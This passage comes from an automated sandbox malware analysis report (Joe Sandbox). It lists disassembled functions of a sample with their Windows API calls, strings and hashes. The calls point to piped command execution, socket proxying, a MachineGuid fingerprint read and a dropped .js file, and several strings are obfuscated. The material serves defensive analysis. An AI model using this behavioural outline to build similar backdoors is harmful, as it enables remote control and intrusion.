CreatePipe.KERNEL32(?,?,?,00000000), ref: 02B856D3
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85731
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85744
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85749
WaitForSingleObject.KERNEL32(00000000,0000EA60,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85760
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85777
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B857B4
GetProcessHeap.KERNEL32(00000008,?,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B857DF
HeapAlloc.KERNEL32(00000000,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B857E2
GetProcessHeap.KERNEL32(00000008,00000000,?,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B857ED
HeapReAlloc.KERNEL32(00000000,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B857F0
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85847
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85863
CloseHandle.KERNEL32(00000000,?,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,00000000), ref: 02B85868

Strings

D, xrefs: 02B856F6

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandleHeap$PipeProcess$AllocCreateNamedPeek$FileObjectReadSingleWait
String ID: D
API String ID: 2337985897-2746444292
Opcode ID: c2b2682e8bca0530bcc57f97c3957b47ff2302b3a11a4dbe2219956c75a1842d
Instruction ID: 50fb5ba62bfe29e50153c81be58bff650a8626e3aed4fc65b868c5a8c47483e3
Opcode Fuzzy Hash: c2b2682e8bca0530bcc57f97c3957b47ff2302b3a11a4dbe2219956c75a1842d
Instruction Fuzzy Hash: 6F519275E40219AFEB309FA5DC84FAE7BB9FF44748F1184A5E918E7280D7749804CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02B86250 Relevance: 25.6, APIs: 17, Instructions: 148networkmemoryCOMMON

Download Yara Rule

APIs

inet_pton.WS2_32(00000002,?,?), ref: 02B86270
htons.WS2_32(?), ref: 02B8628C
inet_pton.WS2_32(00000002,?,?), ref: 02B8629E
htons.WS2_32(?), ref: 02B862A5
socket.WS2_32(00000002,00000001,00000006), ref: 02B862B8
connect.WS2_32(00000000,?,00000010), ref: 02B862D3
socket.WS2_32(00000002,00000001,00000006), ref: 02B862E6
connect.WS2_32(00000000,?,00000010), ref: 02B862FB
closesocket.WS2_32(00000000), ref: 02B86303
select.WS2_32(00000000,?), ref: 02B86338
recv.WS2_32(?,?,00000400,00000000), ref: 02B86374
send.WS2_32(00000000,?,00000000,00000000), ref: 02B8639A
select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 02B863CC
closesocket.WS2_32(00000000), ref: 02B863E6
closesocket.WS2_32(00000000), ref: 02B863ED
GetProcessHeap.KERNEL32(00000000,?), ref: 02B863F9
HeapFree.KERNEL32(00000000), ref: 02B86400

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: closesocket$Heapconnecthtonsinet_ptonselectsocket$FreeProcessrecvsend
String ID:
API String ID: 2202494921-0
Opcode ID: 96ea6cc4bd478408554c38dc9d6c96fa19f12174d87743224e7c94f583a55f95
Instruction ID: fff6b47e59e8c1b60ea838c17634ced6a82650e643117d419f907b1302abc234
Opcode Fuzzy Hash: 96ea6cc4bd478408554c38dc9d6c96fa19f12174d87743224e7c94f583a55f95
Instruction Fuzzy Hash: 0A518F71544304ABD210AF68CC89B6EB7ECFF88B68F100A19F669DB1D1D7B0D845CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02B87120 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 59stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(%ProgramW6432%,?,00000104), ref: 02B87141
lstrlenW.KERNEL32(?), ref: 02B8714A
ExpandEnvironmentStringsW.KERNEL32(%ProgramFiles%,?,00000104), ref: 02B87165
GetSystemWow64DirectoryW.KERNEL32(?,00000104), ref: 02B87173
GetLastError.KERNEL32 ref: 02B8717D
wnsprintfW.SHLWAPI ref: 02B87199
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 02B871B5
wnsprintfW.SHLWAPI ref: 02B871CF
SetFileAttributesW.KERNEL32(?,00000006), ref: 02B871EF

Strings

"%s", xrefs: 02B871BE
%ProgramFiles%, xrefs: 02B87160
%ProgramW6432%, xrefs: 02B8713C
%%ProgramData%%\r%Sr.js, xrefs: 02B87188

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentExpandStrings$wnsprintf$AttributesDirectoryErrorFileLastSystemWow64lstrlen
String ID: "%s"$%%ProgramData%%\r%Sr.js$%ProgramFiles%$%ProgramW6432%
API String ID: 2737787979-1095663237
Opcode ID: 732ab54fd881546a2f457c0b090e3e3ebc1bd10304ac7dc53d26b4f589c7a8ae
Instruction ID: 35e97aee679bc4be4b2aa37eabaf7b6b651189bfe9e055be214def80ec2e9e70
Opcode Fuzzy Hash: 732ab54fd881546a2f457c0b090e3e3ebc1bd10304ac7dc53d26b4f589c7a8ae
Instruction Fuzzy Hash: 1D1112B1D5020CABE710F7A4DC49EEA73ACBB04748F0405E5F61DD6451EAB09695CE51

Uniqueness

Uniqueness Score: -1.00%

Function 02B87270 Relevance: 22.6, APIs: 15, Instructions: 131memorynetworkthreadCOMMON

Download Yara Rule

APIs

inet_pton.WS2_32(00000002,?,?), ref: 02B87283
htons.WS2_32(?), ref: 02B8728E
socket.WS2_32(00000002,00000001,00000006), ref: 02B872A6
connect.WS2_32(00000000,?,00000010), ref: 02B872C4
recv.WS2_32(00000000,?,00000002,00000000), ref: 02B872DC
GetProcessHeap.KERNEL32(00000008,00000024), ref: 02B872FD
HeapAlloc.KERNEL32(00000000), ref: 02B87300
CreateThread.KERNEL32(00000000,00000000,Function_00006250,00000000,00000000,00000000), ref: 02B8737B
CloseHandle.KERNEL32(00000000), ref: 02B87386
recv.WS2_32(00000000,?,00000002,00000000), ref: 02B8739E
closesocket.WS2_32(00000000), ref: 02B873AD
GetProcessHeap.KERNEL32(00000000,?), ref: 02B873B6
HeapFree.KERNEL32(00000000), ref: 02B873B9
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B873D3
HeapFree.KERNEL32(00000000), ref: 02B873D6

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Process$Freerecv$AllocCloseCreateHandleThreadclosesocketconnecthtonsinet_ptonsocket
String ID:
API String ID: 2784442062-0
Opcode ID: 93f1c16d308f8fbddea81b6556e4ab16bbf396bfcba4d8685ace0189d888ae4a
Instruction ID: 0f9fdf304f9b64f8534c2be73bdcf9976ad8bdfc7917b98b0d71481be4109486
Opcode Fuzzy Hash: 93f1c16d308f8fbddea81b6556e4ab16bbf396bfcba4d8685ace0189d888ae4a
Instruction Fuzzy Hash: C6410738A80305ABE720AB758C49B6ABB68FF0574CF245898FD1DDB181DB709482D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 008F1E90 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

task.LIBCPMTD ref: 008F1F50
task.LIBCPMTD ref: 008F1F5F
task.LIBCPMTD ref: 008F1F8F
task.LIBCPMTD ref: 008F1F9B
task.LIBCPMTD ref: 008F1FA7
task.LIBCPMTD ref: 008F1FB3
task.LIBCPMTD ref: 008F1FBF
task.LIBCPMTD ref: 008F1FCE

Strings

hcndlsldtwhpkrlbisuiflvfeofcd, xrefs: 008F1EC5, 008F1F07, 008F1F24
fqcnfbsuagfcfmkulovbxmvizvobyurvsteowvzesefv, xrefs: 008F1EF6
`, xrefs: 008F1F6C
gbcuevkdwlyxwbzmpefkuoenueguybulmwuznauozbxusslsuijupaxueqkxsqzpcvloouwfhzpehzpgdgujbfb, xrefs: 008F1EDD

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traits
String ID: `$fqcnfbsuagfcfmkulovbxmvizvobyurvsteowvzesefv$gbcuevkdwlyxwbzmpefkuoenueguybulmwuznauozbxusslsuijupaxueqkxsqzpcvloouwfhzpehzpgdgujbfb$hcndlsldtwhpkrlbisuiflvfeofcd
API String ID: 1455298312-2158094500
Opcode ID: 40ae5dfcd65ad3529a814fe38a56a6c6992994c3e3c821008fa5d067a74fab6e
Instruction ID: c9bdab7a5ff84890585836982b3a16bbdd3134dd325df8dbc0c44da2fb28f057
Opcode Fuzzy Hash: 40ae5dfcd65ad3529a814fe38a56a6c6992994c3e3c821008fa5d067a74fab6e
Instruction Fuzzy Hash: 8441153090468CDEDB04DBB8D969BEEBBB0FF51704F50419AA105BB2C2DB755B08CB66

Uniqueness

Uniqueness Score: -1.00%

Function 008FA0C4 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 008FA108

Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9C4C
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9C5E
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9C70
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9C82
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9C94
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9CA6
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9CB8
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9CCA
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9CDC
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9CEE
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9D00
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9D12
Part of subcall function 008F9C2F: _free.LIBCMT ref: 008F9D24

_free.LIBCMT ref: 008FA0FD

Part of subcall function 008F7FB2: HeapFree.KERNEL32(00000000,00000000,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?), ref: 008F7FC8
Part of subcall function 008F7FB2: GetLastError.KERNEL32(?,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?,?), ref: 008F7FDA

_free.LIBCMT ref: 008FA11F
_free.LIBCMT ref: 008FA134
_free.LIBCMT ref: 008FA13F
_free.LIBCMT ref: 008FA161
_free.LIBCMT ref: 008FA174
_free.LIBCMT ref: 008FA182
_free.LIBCMT ref: 008FA18D
_free.LIBCMT ref: 008FA1C5
_free.LIBCMT ref: 008FA1CC
_free.LIBCMT ref: 008FA1E9
_free.LIBCMT ref: 008FA201

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 772135023a0a6eb8c271c0b3bb13eae883c9abeb684fb2954ba7b7528e3befa9
Instruction ID: 3621b8516091fbd49c4bb0c208e8b1a8842d1c881ace3a002b497054607ad78c
Opcode Fuzzy Hash: 772135023a0a6eb8c271c0b3bb13eae883c9abeb684fb2954ba7b7528e3befa9
Instruction Fuzzy Hash: FC312CB16083099FEB35AA3CD845B7AB7E9FF00320F118419EA5AD6151DE31EDC0C722

Uniqueness

Uniqueness Score: -1.00%

Function 008F2540 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

operator!=.LIBCPMTD ref: 008F2606
task.LIBCPMTD ref: 008F2614
task.LIBCPMTD ref: 008F2623

Strings

0, xrefs: 008F2630
(, xrefs: 008F25B5
8, xrefs: 008F2655
, xrefs: 008F267A
W, xrefs: 008F269A
nwntailncasvksrgvzxnrejxcyyxomjuszgkeftopscvymwbvxagssvvhfojrxjsepuidtjncng, xrefs: 008F2582, 008F25D1, 008F25EE

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traitsoperator!=
String ID: $($0$8$W$nwntailncasvksrgvzxnrejxcyyxomjuszgkeftopscvymwbvxagssvvhfojrxjsepuidtjncng
API String ID: 2802545854-1628632686
Opcode ID: 70456edd68f54d3f684b554ea1fa5a11351423e303f59b04d2beabe7929b21bd
Instruction ID: c0945bdccadd9230b56f350ee444188f1041a6d8f75094c7e4d7e1900d694064
Opcode Fuzzy Hash: 70456edd68f54d3f684b554ea1fa5a11351423e303f59b04d2beabe7929b21bd
Instruction Fuzzy Hash: A1515470D1560CDEDB04CFB8D954BBEBBB0FB54308F10421AE601EA281EF799A44DB51

Uniqueness

Uniqueness Score: -1.00%

Function 02B86960 Relevance: 15.1, APIs: 12, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02B8A088), ref: 02B86971
StrCmpNIA.SHLWAPI(?,?,00000000), ref: 02B869AA
LeaveCriticalSection.KERNEL32(02B8A088,00000000), ref: 02B869C6
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A20
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A27
LeaveCriticalSection.KERNEL32(02B8A088,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A3D
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A57
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A5E
LeaveCriticalSection.KERNEL32(02B8A088,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A6F
GetProcessHeap.KERNEL32(00000008,?,?), ref: 02B86A7B
HeapReAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02B86A82
LeaveCriticalSection.KERNEL32(02B8A088), ref: 02B86A93

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$CriticalSection$Leave$Process$Alloc$EnterFree
String ID:
API String ID: 2132424838-0
Opcode ID: b603b6b1ad36ce945b661801c33ffd2297be325941b26259784915c1d27bbe57
Instruction ID: 98aea2331700c84334ac2baa6f2fec2a4683d19b2dd0be6300be550a7ad5ba2d
Opcode Fuzzy Hash: b603b6b1ad36ce945b661801c33ffd2297be325941b26259784915c1d27bbe57
Instruction Fuzzy Hash: 2431DCB1A802019FEB147F74EC4CB667B69FB8939AF1858AAF62ECB141D7308455C750

Uniqueness

Uniqueness Score: -1.00%

Function 008F8212 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 008F8228

Part of subcall function 008F7FB2: HeapFree.KERNEL32(00000000,00000000,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?), ref: 008F7FC8
Part of subcall function 008F7FB2: GetLastError.KERNEL32(?,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?,?), ref: 008F7FDA

_free.LIBCMT ref: 008F8234
_free.LIBCMT ref: 008F823F
_free.LIBCMT ref: 008F824A
_free.LIBCMT ref: 008F8255
_free.LIBCMT ref: 008F8260
_free.LIBCMT ref: 008F826B
_free.LIBCMT ref: 008F8276
_free.LIBCMT ref: 008F8281
_free.LIBCMT ref: 008F828F

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c540df3a73a432dcb1b213847b1ca2df81791eed844c6886f9fd6d13152e640b
Instruction ID: 1ce4681e76c820f1878bc3a9843f9545eb26dbacd9acb19223a4f9da3a85b8bd
Opcode Fuzzy Hash: c540df3a73a432dcb1b213847b1ca2df81791eed844c6886f9fd6d13152e640b
Instruction Fuzzy Hash: AD21877690410DAFDB41EFA8C881DEE7BB9FF08340B004165B755DB221DB31EA948B91

Uniqueness

Uniqueness Score: -1.00%

Function 02B86FE0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 120registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00000001,80000002), ref: 02B8700A
RegQueryValueExW.ADVAPI32(80000002,MachineGuid,00000000,?,00000000,?), ref: 02B87026
GetProcessHeap.KERNEL32(00000008,?), ref: 02B87039
HeapAlloc.KERNEL32(00000000), ref: 02B87040
RegQueryValueExW.ADVAPI32(80000002,MachineGuid,00000000,00000000,00000000,?), ref: 02B8705D
RegCloseKey.ADVAPI32(80000002), ref: 02B87069

Strings

MachineGuid, xrefs: 02B8701E, 02B87055
SOFTWARE\Microsoft\Cryptography, xrefs: 02B87000

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: HeapQueryValue$AllocCloseOpenProcess
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2639912721-1211650757
Opcode ID: 61f398839a36291a72ba7f17ce78013a27db84e2081427184a392f5b452bd532
Instruction ID: 455c13d5e26a3189b9317d8c7bc163357add6d9a15db77e0cb8b0fcf99195dc1
Opcode Fuzzy Hash: 61f398839a36291a72ba7f17ce78013a27db84e2081427184a392f5b452bd532
Instruction Fuzzy Hash: 1F31B039E00215AAEB31AB64CC45BBEF7B9EF0470CF344499E94DD7261EB709541D790

Uniqueness

Uniqueness Score: -1.00%

Function 008F1D30 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

operator!=.LIBCPMTD ref: 008F1DB9
task.LIBCPMTD ref: 008F1DC7
task.LIBCPMTD ref: 008F1DD6

Strings

P, xrefs: 008F1D76
jqzoubnuymkarflrgsblnyuijtzdyutycdfdhtloaqug, xrefs: 008F1D5B, 008F1D84, 008F1DA1
1, xrefs: 008F1E08
H, xrefs: 008F1E28

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traitsoperator!=
String ID: 1$H$P$jqzoubnuymkarflrgsblnyuijtzdyutycdfdhtloaqug
API String ID: 2802545854-3608006743
Opcode ID: 6951466ce9fee0af6759c1552877d51cde37bd2dbbe4bbb162a921972a160412
Instruction ID: 3520c4b39bfbfac4cc3c47cdec1881eca56cecbc520c05ac7434d4f1643dfcb2
Opcode Fuzzy Hash: 6951466ce9fee0af6759c1552877d51cde37bd2dbbe4bbb162a921972a160412
Instruction Fuzzy Hash: 0D411270D1025CDEDF14DFB8D999BFDBBB0FB40708F20412AE912A6281DB785A49DB51

Uniqueness

Uniqueness Score: -1.00%

Function 008F28A0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94COMMON

Download Yara Rule

Strings

8, xrefs: 008F2993
uqip, xrefs: 008F2902
&, xrefs: 008F2973
jgjqrkqomrozhbdhmdxtwulfach, xrefs: 008F28D9
9, xrefs: 008F2913

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: char_traits
String ID: &$8$9$jgjqrkqomrozhbdhmdxtwulfach$uqip
API String ID: 1158913984-1523665428
Opcode ID: 7d4f9812f230e4bde0f3419d98a8389410a7ddc0e426d58ada630c6e0d5e1192
Instruction ID: 51568156ed71db560171c4647fab3db74d33f36ab78a815e91e640a210440cf1
Opcode Fuzzy Hash: 7d4f9812f230e4bde0f3419d98a8389410a7ddc0e426d58ada630c6e0d5e1192
Instruction Fuzzy Hash: 2C411571E1524DCEDB14DFB8C955BBDBFB0FB44308F20811AD112AB288DBB55A49DB42

Uniqueness

Uniqueness Score: -1.00%

Function 008F26F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

operator!=.LIBCPMTD ref: 008F27B9
task.LIBCPMTD ref: 008F27CA
task.LIBCPMTD ref: 008F27D9

Strings

jzdwqwyumqammpueooowjjgvtxkqyegzdhdgzslgyajsclbzvvlumjujvworvqtznfkokyknwpdvh, xrefs: 008F276C
wmralfjjyxjpaaahqtyukotytfokitzqpzktxxpjlasxwiqxteluyutwbngkpji, xrefs: 008F2746, 008F2781, 008F279E

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traitsoperator!=
String ID: jzdwqwyumqammpueooowjjgvtxkqyegzdhdgzslgyajsclbzvvlumjujvworvqtznfkokyknwpdvh$wmralfjjyxjpaaahqtyukotytfokitzqpzktxxpjlasxwiqxteluyutwbngkpji
API String ID: 2802545854-3928441437
Opcode ID: ed8d786d5e60915b10e5e9f4a057c18a100d941e6724ee6ee43a15d509a56ed0
Instruction ID: 549f6fbf45da5ddb852c737fe3c51803d624584eb190126b76d8db5c9866017e
Opcode Fuzzy Hash: ed8d786d5e60915b10e5e9f4a057c18a100d941e6724ee6ee43a15d509a56ed0
Instruction Fuzzy Hash: A4416470D1468CCEDB10DFB8D855BEEBBB4FB55308F10816AD105BB281DB785A49CB62

Uniqueness

Uniqueness Score: -1.00%

Function 008F2450 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

task.LIBCPMTD ref: 008F24E6
task.LIBCPMTD ref: 008F24F2
task.LIBCPMTD ref: 008F24FE
task.LIBCPMTD ref: 008F250A
task.LIBCPMTD ref: 008F2519

Strings

cmmaewimvbelpxqmmrwavslbvxckdjjxygghbhnehbeilkkwojuodtbqctfcndflgicarztuniwfnttitcozeduy, xrefs: 008F24A0
fwtzeppezjvazhyujtmjporsiuhoepcyezpzrndtdjonhkfwspgmjwijppeqbrmoricjjfsnrrohmmtnhquudfm, xrefs: 008F24CF
dzydwibcsmroxflhizzvayjcy, xrefs: 008F2482

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traits
